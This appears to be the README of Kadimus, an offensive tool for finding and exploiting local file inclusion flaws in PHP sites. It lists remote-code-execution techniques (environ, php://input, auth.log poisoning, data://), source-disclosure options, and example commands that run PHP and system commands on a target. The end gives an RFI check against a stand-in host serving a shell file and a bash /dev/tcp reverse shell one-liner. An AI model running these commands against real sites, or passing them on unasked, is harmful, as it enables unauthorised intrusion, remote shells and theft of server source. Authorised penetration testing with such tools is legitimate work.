Find & Exploit LFI Vulnerability
LFI Scan & Exploit Tool
Kadimus is a tool to check sites to lfi vulnerability , and also exploit it
Features:
- Check all url parameters
- /var/log/auth.log RCE
- /proc/self/environ RCE
- php://input RCE
- data://text RCE
- Source code disclosure
- Multi thread scanner
- Command shell interface through HTTP Request
- Proxy support (socks4://, socks4a://, socks5:// ,socks5h:// and http://)
- Proxy socks5 support for bind connections
Compile:
$ git clone https://github.com/P0cL4bs/Kadimus.git
$ cd Kadimus
You can run the configure file:
./configure
Or follow this steps:
Installing libcurl:
- CentOS/Fedora
# yum install libcurl-devel
- Debian based
# apt-get install libcurl4-openssl-dev
- Mac OS X based
$ brew install openssl
Installing libpcre:
- CentOS/Fedora
# yum install pcre-devel
- Debian based
# apt-get install libpcre3-dev
- Mac OS X based
$ brew install pcre
Installing libssh:
- CentOS/Fedora
# yum install libssh-devel
- Debian based
# apt-get install libssh-dev
- Mac OS X based
$ brew install libssh
And finally:
$ make
Options:
-h, --help Display this help menu
Request:
-B, --cookie STRING Set custom HTTP Cookie header
-A, --user-agent STRING User-Agent to send to server
--connect-timeout SECONDS Maximum time allowed for connection
--retry-times NUMBER number of times to retry if connection fails
--proxy STRING Proxy to connect, syntax: protocol://hostname:port
Scanner:
-u, --url STRING Single URI to scan
-U, --url-list FILE File contains URIs to scan
-o, --output FILE File to save output results
--threads NUMBER Number of threads (2..1000)
Explotation:
-t, --target STRING Vulnerable Target to exploit
--injec-at STRING Parameter name to inject exploit
(only need with RCE data and source disclosure)
RCE:
-X, --rce-technique=TECH LFI to RCE technique to use
-C, --code STRING Custom PHP code to execute, with php brackets
-c, --cmd STRING Execute system command on vulnerable target system
-s, --shell Simple command shell interface through HTTP Request
-r, --reverse-shell Try spawn a reverse shell connection.
-l, --listen NUMBER port to listen
-b, --bind-shell Try connect to a bind-shell
-i, --connect-to STRING Ip/Hostname to connect
-p, --port NUMBER Port number to connect
--b-proxy STRING IP/Hostname of socks5 proxy
--b-port NUMBER Port number of socks5 proxy
--ssh-port NUMBER Set the SSH Port to try inject command (Default: 22)
--ssh-target STRING Set the SSH Host
RCE Available techniques
environ Try run PHP Code using /proc/self/environ
input Try run PHP Code using php://input
auth Try run PHP Code using /var/log/auth.log
data Try run PHP Code using data://text
Source Disclosure:
-G, --get-source Try get the source files using filter://
-f, --filename STRING Set filename to grab source [REQUIRED]
-O FILE Set output file (Default: stdout)
Examples:
Scanning:
./kadimus -u localhost/?pg=contact -A my_user_agent
./kadimus -U url_list.txt --threads 10 --connect-timeout 10 --retry-times 0
Get source code of file:
./kadimus -t localhost/?pg=contact -G -f "index.php%00" -O local_output.php --inject-at pg
Execute php code:
./kadimus -t localhost/?pg=php://input%00 -C '<?php echo "pwned"; ?>' -X input
Execute command:
./kadimus -t localhost/?pg=/var/log/auth.log -X auth -c 'ls -lah' --ssh-target localhost
Checking for RFI:
You can also check for RFI errors, just put the remote url on resource/common_files.txt and the regex to identify this, example:
/* http://bad-url.com/shell.txt */
<?php echo base64_decode("c2NvcnBpb24gc2F5IGdldCBvdmVyIGhlcmU="); ?>
in file:
http://bad-url.com/shell.txt?:scorpion say get over here
Reverse shell:
./kadimus -t localhost/?pg=contact.php -Xdata --inject-at pg -r -l 12345 -c 'bash -i >& /dev/tcp/127.0.0.1/12345 0>&1' --retry-times 0
